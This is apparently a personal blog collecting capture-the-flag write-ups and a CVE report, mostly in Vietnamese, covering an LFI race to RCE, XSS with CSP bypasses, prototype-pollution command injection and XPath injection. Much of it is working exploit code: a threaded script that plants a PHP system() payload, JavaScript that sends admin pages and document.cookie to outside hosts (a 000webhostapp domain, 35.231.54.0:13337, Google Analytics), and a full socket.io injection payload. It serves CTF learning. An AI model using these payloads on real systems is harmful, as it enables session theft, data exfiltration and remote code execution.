Race Condition + LFI -> RCE (Orange is my idol)

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

host = 'http://192.168.99.113/test.php?0='
sess_name = 'ahihiphp'
cmd = "ls -la"
sig = "ahihidkm"

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

payload = '<?php echo "'+sig+'";system("'+cmd+'");?>'

def runner(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
}
while 1:
fp = open('cc', 'rb')
r = requests.post(host+"/var/lib/php/sessions/sess_"+sess_name, files={'f': fp}, data=data, headers=headers)
if "ahihidkm" in r.text:
print r.text
fp.close()

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

payload:

POST /test.php?0=/var/lib/php/sessions/sess_ahihiphp HTTP/1.1
Host: 192.168.99.113
Connection: close
Accept: */*
User-Agent: python-requests/2.18.1
Cookie: PHPSESSID=ahihiphp
Content-Length: 292
Content-Type: multipart/form-data; boundary=736656504112497486ae1e02ec4e3f6b

--736656504112497486ae1e02ec4e3f6b
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

ZZ<?php echo "ahihidkm";system("ls -la");?>Z
--736656504112497486ae1e02ec4e3f6b
Content-Disposition: form-data; name="f"; filename="cc"

ajnj

--736656504112497486ae1e02ec4e3f6b--

Hacklu 2018 – IDeaShare (CSP nonce)

Author(s): kunte_ Solves: 2
Difficulty: hard
A place to share your IDeas with your friends!
Try to win the best IDea competition but be wary a strong force prevents any cheating.
Good luck you will need it!
link: https://arcade.fluxfingers.net:1818/

Bài này thực ra không khó nhưng chỉ có 2 team giải ra, lý do có thể là do:
– Cấu hình tường lửa, IDS, IPS gì đó làm rối người chơi
– Blackbox, tất cả clue hầu như đều là guessing và testing mới có thể kiếm được
– Làm rối bằng cách chèn những tính năng khó hiểu
Mình đã không giải ra bài này trong thời gian diễn ra contest vì mình nghĩ là nó rất khó hoặc vì mình ham Liên Quân hơn.
Cho tới bây giờ mình vẫn không thấy ai write up trên kênh CTFtime, vì vậy mình quyết định viết để những người làm bài này bớt ức chế
Bước 1: Guessing và testing mình thấy một số thứ
– Chức năng reset password không hoạt động, và sau này cũng chả có ích gì cho việc khai thác (Mình tự hỏi tác giả muốn gì)
https://arcade.fluxfingers.net:1818/?page=admin
– Tất cả param đều được đưa qua tường lửa, IDS, IPS hay gì đó.
– Chức năng share IDeas nhưng tới cuối mình mới hiểu đây là con bot check XSS.
– Nếu con bot check đoạn XSS hoạt động thành công thì nó sẽ hiện ra như vậy

– Không hề có santizer khi xem raw IDea, tuy nhiên WAF khá gắc.
Bước 2: Bypass IDS, IPS
– Sau khi test với 1 số special payload XSS, tự nhiên lọt 1 payload có thể bypass:

Nhưng phải thỏa một số điều kiện, cụ thể như sau:
+ CORS accept từ attacker host -> iz, ok_hand -> header(“Access-Control-Allow-Origin: *”);
+ Domain name cần phải ngắn gọn xúc tích, và tuyệt đối không chứa những từ nhạy cảm: script, on[xxx], 0x, svg … -> không khó lắm
+ Mua Cert, Cấu hình server attacker chạy trên https -> giàu có, gắc
Điều kiện thứ 3 hơi khó nhưng không phải là không thể, mình dùng cái này 000webhostapp.com
Bước 3: Exploit
Scenario 1: Có admin (chắc bot=admin)-> reset password -> chức năng này không hoạt động -> bỏ qua
Scenario 2: Lấy cookie bot -> session hijacking -> không có cookie
Scenario 3: Blind đọc source admin
Tạo 1 endpoint đọc source admin rồi gửi cho mình

<link/rel=import href=https://aaaaacax.000webhostapp.com/hacklu/leak.php>

nội dung

<?php
header("Access-Control-Allow-Origin: *");
?>
<script>
		function postXMLDoc(theURL,ct)
		 {
		     if (window.XMLHttpRequest)
		     {// code for IE7+, Firefox, Chrome, Opera, Safari, SeaMonkey
		         xmlhttp=new XMLHttpRequest();
		     }
		     else
		     {// code for IE6, IE5
		         xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
		     }
		     xmlhttp.onreadystatechange=function()
		     {
		         
		             a = xmlhttp.responseText;
		         
		     }
		     xmlhttp.open("POST", theURL, false);
		    xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
		     xmlhttp.send('a='+btoa(ct));
		 }
		
		function loadXMLDoc(theURL)
		 {
		     if (window.XMLHttpRequest)
		     {// code for IE7+, Firefox, Chrome, Opera, Safari, SeaMonkey
		         xmlhttp=new XMLHttpRequest();
		     }
		     else
		     {// code for IE6, IE5
		         xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
		     }
		     xmlhttp.onreadystatechange=function()
		     {
		         
		             a = "pl="+xmlhttp.responseText;
		         
		     }
		     xmlhttp.open("GET", theURL, false);
		     xmlhttp.send();
		 }
		loadXMLDoc('/index.php?page=admin');
		postXMLDoc('https://aaaaacax.000webhostapp.com/', a);
	</script>
</script>
<script>alert(33)</script>

Share idea với admin, tìm thấy đoạn code khả nghi

OK mọi chuyện đã rõ, win competition để lấy flag
Tạo 1 endpoint để buộc admin cho mình win

<link/rel=import href=https://aaaaacax.000webhostapp.com/hacklu/leak.php>

Nội dung

<?php
header("Access-Control-Allow-Origin: *");
?>
<script>
var cc = new XMLHttpRequest();
cc.onreadystatechange = function() {
    if (this) {
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
            }
        };
        xhttp.open("POST", "https://aaaaacax.000webhostapp.com/?cax="+this.status, true);
        xhttp.send(this.responseText);
    }
};
cc.open("POST", "/?page=admin", true);
cc.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
cc.send("userid=10&submit=1");
</script>

https://arcade.fluxfingers.net:1818/?page=competition lấy flag hoy

CVE-2018-18398

Description: Xfce Thunar 1.6.15, when Xfce 4.12 is used, mishandles the IBus-Unikey input method for file searches within File Manager, leading to an out-of-bounds read and SEGV. This could potentially be exploited by an arbitrary local user who creates files in /tmp before the victim uses this input method.
Additional Information:
VirtualBox POC: https://drive.google.com/open?id=1MMjgybKioy2evO8ywzderTT60MwjA11Z
Core Dump: https://drive.google.com/open?id=1Vz3rezkQiOf_b-q6x3RZ7C4nSkje9GhU
Stack trace:

> gdb-peda$ run
> Starting program: /tmp/thunar 
> 
> Thread debugging using libthread_db enabled
> 
> Using host libthread_db library "/usr/lib/libthread_db.so.1".
> [New Thread 0x7fffed6c9700 (LWP 3439)]
> [New Thread 0x7fffecec8700 (LWP 3440)]
> [New Thread 0x7fffe7b8f700 (LWP 3441)]
> [New Thread 0x7fffe738e700 (LWP 3442)]
> 
> (thunar:3438): Gdk-WARNING **: gdk_window_set_icon_list: icons too large
> 
> Thread 0x7fffe738e700 (LWP 3442) exited
> 
> Thread 1 "thunar" received signal SIGSEGV, Segmentation fault.
> 
> RAX: 0x7400000061 ('a')
> RBX: 0x0 
> RCX: 0x7fffffffce90 --> 0x5555558a41e0 --> 0x4 
> RDX: 0x555555892490 --> 0x55555589b9a0 --> 0x55555589b800 --> 0x2 
> RSI: 0x555555aebbf0 --> 0x555555aa0061 --> 0x0 
> RDI: 0x5555559d13f0 --> 0x5555558a2740 --> 0x5555558a41e0 --> 0x4 
> RBP: 0x555555aa19f0 --> 0x40000002 
> RSP: 0x7fffffffccc8 --> 0x7ffff4e06c5d (<g_closure_invoke+413>:    mov    rax,QWORD PTR [rbp+0x0])
> RIP: 0x7ffff79a1fb4 (mov    edi,DWORD PTR [rax+0x154])
> R8 : 0x7fffffffce10 --> 0x135 
> R9 : 0x0 
> R10: 0x555555804758 --> 0x700070 ('p')
> R11: 0x7fffffffd060 --> 0x3000000020 (' ')
> R12: 0x2 
> R13: 0x7fffffffce90 --> 0x5555558a41e0 --> 0x4 
> R14: 0x7fffffffce10 --> 0x135 
> R15: 0x7ffff6a32770 (<g_cclosure_marshal_VOID__STRING>:    cmp    edx,0x2)
> EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
> 
>    0x7ffff79a1fa1:    call   QWORD PTR [rip+0x229919]        # 0x7ffff7bcb8c0
>    0x7ffff79a1fa7:    nop    WORD PTR [rax+rax*1+0x0]
>    0x7ffff79a1fb0:    mov    rax,QWORD PTR [rsi+0x70]
> => 0x7ffff79a1fb4:    mov    edi,DWORD PTR [rax+0x154]
>    0x7ffff79a1fba:    or     BYTE PTR [rax+0x148],0x2
>    0x7ffff79a1fc

VulnerabilityType
Out of Bound
Vendor of Product
XFCE
Affected Product Code Base
Thunar – < 1.6.15 and Xfce < 4.12
Reference
Exploit:

Discoverer
0xd0ff9

MATESCTF 3 ROUND 1 (WEB 3)

Mình đã từng chơi matesctf qua nhiều mùa giải và trong số những bài mình giải được thì mình cảm thấy bài này là bài hay nhất, tuy nhiên hay với cách là unintend mà mình mới học được.
Nói qua một chút về cách mà tác giả muốn

Intent Solution:
Thực ra tác giả ra bài này nó tiết lộ cách giải bài này qua một bình luận trên facebook của mình khi mình đăng write up bài “Song Kiếm” của giải ISITDTU CTF Final 2018. Ý tưởng là dùng CSP để chặn con bot không leak được cookie ra ngoài mà chỉ dùng con bot đẩy cookie vào bảng flag bằng một lỗi sql injection (à quên, đó là một tính năng), sau đó dùng một lỗi sql injection để lấy flag ra. Mình sẽ không write up cách này vì mình đoán sẽ có người viết sau [:D]

nhá hàng phát.

Unintent Solution:
Trong quá khứ, mình đã từng có một thời bị bắt phải viết Content Security Policy, cũng bị chửi nhiều, nhiều lần bị thọt tính sẵn sàng, nhiều lần bị thọt về tính bảo mật [:'(], nên cũng có chút kinh nghiệm với cái này.

Nhìn thì có vẻ khá an toàn nhỉ, có vẻ là chắc bot sẽ không thể đem cookie đi qua được đường này được.
Tuy nhiên

Trong một khía cạnh khác, Content Security Policy lại không được cài đặt, điều này có nghĩa không phải là không thể đưa dữ liệu từ bot ra ngoài được. Nếu mình đoán không nhầm thì cookie sẽ được đặt ở domain 125.235.240.166 hoặc cùng lắm là ở 125.235.240.166/web3/.
Tới đây mình sẽ hướng đến 1 vector để cho con bot sẽ phải đi qua lộ trình như sau:
Điểm thứ 1: 125.235.240.166/web3/ -> CSP
Điểm thứ 2: 125.235.240.166/web3/background.png -> Không có CSP
Điểm thứ 3: server của mình

Cách dễ nhất để tạo cầu nối là dùng iframe:
Bước 1: Mình sẽ tạo một iframe với src=”/web3/background.jpg”, lúc này khi browser check CSP sẽ OK.
Bước 2: Ở ngoài sẽ có CSP, tuy nhiên bên trong iframe sẽ không có CSP vì URL lúc này đang là 125.235.240.166/web3/background.png , do đó mình sẽ tạo một tag img với đường link về server mình kèm với cookie ở trong iframe tạo ở bước 1 và không có rào cản nào [:D].
Bước 3: Xây dựng payload
http://125.235.240.166/web3/?feature=comments&comment=%3Cscript%3Ef=document.createElement(%22iframe%22);f.id=%22bechanh%22;f.src=%22/web3/background.jpg%22;f.onload=()=%3E{x=document.createElement(%27img%27);x.src=%27//35.231.54.0:13337/%27%2bdocument.cookie;bechanh.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);%3C/script%3E
Nguyên văn:

f=document.createElement("iframe");f.id="bechanh";f.src="/web3/background.jpg";f.onload=()=>{x=document.createElement('img');x.src='//35.231.54.0:13337/'+document.cookie;bechanh.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);

Thử tự lấy cookie của mình

Xong rồi giờ mình gửi cho bot

Defcamp (DCTF) 2018 – Chat

After I got source code, I recognized this is challenge running on socket in http protocol.
On client side, I got file “client.js” to connect to server

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')
 
if(process.argv.length != 4) {
  console.log('name and channel missing')
   process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
  name: process.argv[2], 
};

socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})
 
socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

On server side, server handle with some method of client like register, join, leave, message, disconnect, error

var fs       = require('fs'); 
var server   = require('http').createServer()
var io       = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')
 
var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));

function sendMessageToClient(client, from, message) {
    var msg = {
        from: from,
        message: message
    };

    client.emit('message', msg);
    console.log(msg)
    return true;
}

function sendMessageToChannel(channel, from, message) {
    var msg = {
        from: typeof from !== 'string' ? clientManager.getUsername(from): from,
        message: message,
        channel: channel
    };

    if(typeof from !== 'string') {
        if(!clientManager.isSubscribedTo(from, channel)) {
            console.log('Could not send message',msg,' from', 
                clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
            return false;
        }
    }

    var clients = clientManager.getSubscribedToChannel(channel);
    
    for(var i = 0; i<clients.length;i++) {
        if(typeof from !== 'string') {
            if(clients[i].id == from.id) {
                continue;
            }
        }
        
        clients[i].emit('message', msg);
    }
    
    console.log(msg)
    return true;
}

io.on('connection', function (client) { 
    client.on('register', function(inUser) {
        try {
            newUser = helper.clone(JSON.parse(inUser))

            if(!helper.validUser(newUser)) {
                sendMessageToClient(client,"Server", 
                    'Invalid settings 1.')
                return client.disconnect();
            } 

            var keys = Object.keys(defaultSettings);
            for (var i = 0; i < keys.length; ++i) {
                if(newUser[keys[i]] === undefined) {
                    newUser[keys[i]] = defaultSettings[keys[i]]
                }
            } 

            if (!clientManager.isUserAvailable(newUser.name)) {
                sendMessageToClient(client,"Server", 
                    newUser.name + ' is not available')
                return client.disconnect(); 
            }
         
            clientManager.registerClient(client, newUser)
            return sendMessageToClient(client,"Server", 
                newUser.name + ' registered')
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('join', function(channel) {
        try {
            clientManager.joinChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You joined channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);

            sendMessageToChannel(channel,"Server", 
                helper.getAscii("User " + u + " living in " + c + " joined channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('leave', function(channel) {
        try {
            client .join(channel);
            clientManager.leaveChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You left channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel, "Server", 
                helper.getAscii("User " + u + " living in " + c + " left channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('message', function(message) {
        try {
            message = JSON.parse(message);
            if(message.channel === undefined) {
                console.log(clientManager.getUsername(client),"said:", message.msg);
            } else {
                sendMessageToChannel(message.channel, client, message.msg);
            }
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('disconnect', function () {
        try {
            console.log('client disconnect...', client.id)

            var oldclient = clientManager.removeClient(client);
            if(oldclient !== undefined) {
                for (const [channel, state] of Object.entries(oldclient.ch)) {
                    if(!state) continue;
                    sendMessageToChannel(channel, "Server", 
                        "User " + oldclient.u.name + " left channel");
                } 
            }
        } catch(e) { console.log(e); client.disconnect() }
    })

  client.on('error', function (err) {
    console.log('received error from client:', client.id)
    console.log(err)
  })
});

server.listen(3000, function (err) {
  if (err) throw err;
  console.log('listening on port 3000');
});

After taking some audit, I noticed both sink and sanitizer at helper.js
Sink: Command line injection in getAscii function

    getAscii: function(message) {
        var e = require('child_process');
        return e.execSync("cowsay '" + message + "'").toString();
    }

-> getAscii used in “join” and “leave” connection method and variable can be exploited is client-> name and client -> country

   client.on('join', function(channel) {
        try {
            clientManager.joinChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You joined channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);

            sendMessageToChannel(channel,"Server", 
                helper.getAscii("User " + u + " living in " + c + " joined channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('leave', function(channel) {
        try {
            client .join(channel);
            clientManager.leaveChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You left channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel, "Server", 
                helper.getAscii("User " + u + " living in " + c + " left channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

Sanitizer:

   validUser: function(inp) {
        var block = ["source","port","font","country",
                     "location","status","lastname"];
        if(typeof inp !== 'object') {
            return false;
        } 

        var keys = Object.keys( inp);
        for(var i = 0; i< keys.length; i++) {
            key = keys[i];
            
            if(block.indexOf(key) !== -1) {
                return false;
            }
        }

        var r =/^[a-z0-9]+$/gi;
        if(inp.name === undefined || !r.test(inp.name)) {
            return false;
        }

        return true;
    }

After Taking a look with bypassing Sanitizer, I noticed:
– can not inject via attribute “name” because white list strick: /^[a-z0-9]+$/gi
– can not post variable or method like “country”
In client manager, I know that user input is object => find the way to overwrite user->country.
A new vector attack in nodejs can overwrite other attribute in object like Prototype pollution attack (like this https://hackerone.com/reports/310439)

To bypass sanitizer:

socket.emit('register', '{"name":"0xd0ff9", "__proto__":{"country":"\';ls -la;echo \'lala"}}')

To execute injection:

socket.emit('join','arena of valor');

full payload like this

const io = require('socket.io-client')
const socket = io.connect('http://127.0.0.1:3000')

//var input_name = process.argv[2]
//var input_channel = process.argv[3] 

var input_name = "1234"
var input_channel = "test"

console.log('Logging as ' + input_name + ' on ' + input_channel)


socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})

socket.emit('register', '{"name":"0xd0ff9", "__proto__":{"country":"\';ls -la;echo \'lala"}}')
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join','arena of valor');
socket.emit('message', JSON.stringify({ channel: input_channel, msg: "hello channel" }));

And get flag

Song Kiếm (ISITDTU Final 2018)

source:
index.php~


  Song Đao Bão Táp

  &lt;img src=&quot;image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; class=&quot;mce-object&quot; width=&quot;20&quot; height=&quot;20&quot; alt=&quot;" title="" /&gt;
  &lt;img src=&quot;image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; class=&quot;mce-object&quot; width=&quot;20&quot; height=&quot;20&quot; alt=&quot;" title="" /&gt;
  &lt;img src=&quot;image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; class=&quot;mce-object&quot; width=&quot;20&quot; height=&quot;20&quot; alt=&quot;" title="" /&gt;

&lt;?php

include &quot;config.php&quot;;
function mysqli_filter($query)
{
	$blacklists = [&quot;union&quot;,&quot;length&quot;,&quot;substr&quot;];
	foreach($blacklists as $blacklist)
	{
		while(strpos($query,$blacklist)!==false)
		{
			$query = str_replace($blacklist,&quot;&quot;,$query);
		}
	}
	return $query;
}
if(isset($_GET[&#039;id&#039;]) &amp;&amp; !empty($_GET[&#039;id&#039;]))
{
	$id = mysqli_filter($_GET[&#039;id&#039;]);
	$sql = &quot;select * from skill where id=&quot;.$id;
	$result = mysqli_query($conn,$sql);
	if (@mysqli_num_rows($result) === 1) {
		$row = mysqli_fetch_assoc($result);
        $skillselect = &quot;
<tr>
<td>".$row['id']."</td>
<td>".$row['name']."</td>
<td>".$row['type']."</td>
<td>".$row['cooldown']."</td>
<td>".$row['power']."</td>
</tr>
";
	}
	else
	{
		$skillselect = "
<tr>
<td>Id: <strong>".$id."</strong> Error</td>
</tr>
";
	}
}
else
{
	$skillselect = mysqli_select_all($conn);
}

if(isset($_POST['url']) &amp;&amp; !empty($_POST['url']))
{
	$url = safe_url($_POST['url']);
	$url = escapeshellarg($url);
	// bot check
	chromheadlesscheck($url);
}

?&gt;
<div class="container">
<div class="jumbotron">
<h1>Bí kíp Nguyệt Tộc</h1>
Để lấy được Bí kíp nguyệt tộc, Ryomar và Airi hợp tác đánh bại maloch. Tuy nhiên sau khi lấy được kho báu, cả hai đã bị nakroth sát hại. Trước khi chết, cả hai tách cuốn bí kíp thành 2 mảnh và truyền cho thế hệ sau. Cách đây không lâu, có một người đã tìm thấy bí kíp và quyết định đem giấu vào một nơi khác đồng thời bảo vệ kho báu bằng một tấm chắn chỉ cho phép gia đình và người thân có thể lấy được nó.</div>
<img src="images/ngau.jpg" width="800" height="300">
<h3>Dưới đây là những chiêu thức thất truyền từ cuốn bí kíp:</h3>
<table class="table">
<thead>
<tr>
<th>ID</th>
<th>SKILLNAME</th>
<th>TYPE</th>
<th>COOLDOWN</th>
<th>POWER</th>
</tr>
</thead>
<tbody></tbody>
</table>
<h4>Airi Chrome Bot ( Truyền nhân của airi, nơi lưu giữ một nửa của cuốn bí kíp )</h4>
<div class="form-group">
      URL:
<div class="col-sm-10"></div>
</div>
<div class="form-group">
<div class="col-sm-offset-2 col-sm-10">
        Submit</div>
</div>
</div>

Đọc source, ta thấy những điểm nhấn:
1. SQL Injection, blind để lấy nửa đầu của flag
2. XSS
2.1 Bot là chrome headless -> phải bypass X-XSS-Protection
2.2 Object.freeze(document.location) -> không thể leak cookie bằng con đường location
2.3 Kiểm tra header có

 CSP:"""Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; sandbox allow-scripts allow-same-origin allow-forms; img-src 'self' https://www.google-analytics.com;"""

2.3.1 có sandbox suy ra không thể đưa payload ra ngoài bằng XHR hay Postdata
2.3.2 google-analytics được chấp nhận
Khai thác:
1. SQL Injection > quá dễ
2. XSS
2.1 bypass X-XSS-Protection
Trong source có đoạn replace những kí tự union, length, substr, tận dụng nó để làm cho chrome auditor không phát hiện được XSS,mấy bạn thích dùng cái nào cũng được, mình dùng

document.write("songkiem")


*Notes: đừng thủ alert, confirm, bla… không được đâu, vì CSP đang dùng sandbox
2.2 Object.freeze(document.location) > bỏ ý định redirect lấy cookie đi
2.3

 CSP: :"""Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; sandbox allow-scripts allow-same-origin allow-forms; img-src 'self' https://www.google-analytics.com;""" 

2.3.1 chỉ đơn giản là không dùng XHR, Postdata
2.3.2 Tạo một tag image rồi đưa payload vào image từ một tính năng của google analytic (tham khảo: https://githubengineering.com/githubs-post-csp-journey/)
*Notes: Nếu bạn không chắc browser nó sẽ encode URL như nào thì hãy dùng backtick cho dễ

Thử lấy cookie của mình:

http://35.231.54.0/60e10658bcb036f675fe033fe0376d5f/index.php?id=%3Cscrunionipt%3Ea=atob('eD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKTt4LnNyYz0naHR0cHM6Ly93d3cuZ29vZ2xl\nLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTEyMjMxMjY2MS0xJmNpZD0xMjIzMTI2\nNjEmdD1ldmVudCZlYz1lbWFpbCZlYT10ZXN0bGEnK01hdGgucmFuZG9tKCkrZG9jdW1lbnQuY29v\na2llO2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2JvZHknKS5hcHBlbmQoeCk7');eval(a)%3C/scrunionipt%3E

Gửi cho bot

ISITDTU CTF 2018

[Web] Access Box
Bài này là một bài blackbox hoàn toàn, mặc dù có chút guessing nhưng ý tưởng cũng hay, chỉ có 1 vị trí đăng nhập và không nhiều chức năng có khả năng gây ra lỗi, bằng kinh nghiệm chơi ctf mình đoán lỗi nằm ở vị trí đăng nhập, sau khi fuzzing một hồi với một số payload thông dụng trong tham số username:

'or'1
guest'and'1'='1
...

Tới đây mình có thể xác định có thể có lỗi bảo mật xảy ra. Có thể là SQL Injection, XPath Injection, …
Sau một hồi thử kiểm tra với các logic về SQL Injection mình nhận ra hướng này có nhiều vấn đề phản logic do code hoặc không phải lỗi này.
Tiếp tục thử một số payload để kiểm tra logic XPath Injection, mình xác định 90% là hướng đi này chính xác.
Tới đây, mình chia ra làm 2 nhánh, nhánh thứ nhất là đi tìm kiếm database từ những file xml, sử dụng công cụ wfuzz với bộ payload sưu tầm, mình thấy được database http://35.190.131.105/accounts.xml, có lẽ đây là cách unintend mà nhiều đội làm ra.
Nhánh thứ 2 là tìm kiếm payload để leak được nhiều thông tin nhất có thể. XPath khác với SQL, do đó cách lấy toàn bộ schema là chuyện khó và có thể tốn nhiều thời gian, vì lười nên mình sẽ tìm một payload để tìm kiếm thông tin thay vì khai thác schema.
Payload:

username='and 1=0] | //*[contains(.,'tukhoatimkiem')] | //*['1'='0&password=lala

thay tukhoatimkiem bằng từng kí tự khác
bắt đầu tìm với những từ quen thuộc như admin, user, 4dmin, 4dm1n, ad1min, Adm1n…
mình thấy được 1 kết quả là Adm1n
Tuy nhiên không khả quan nếu cứ fuzzing bằng tay, mình dùng burp để blind từng cụm kí tự và thu được một số kết quả

Adm1n
Administrator
ColdTick
Ez_t0_gu3ss_PaSSw0rd
FromD2VNWithLove
guest

Không có captcha nên mình bruteforce cả username và password theo từ điển trên, thu được username=Adm1n&password=Ez_t0_gu3ss_PaSSw0rd
từ đó có được flag.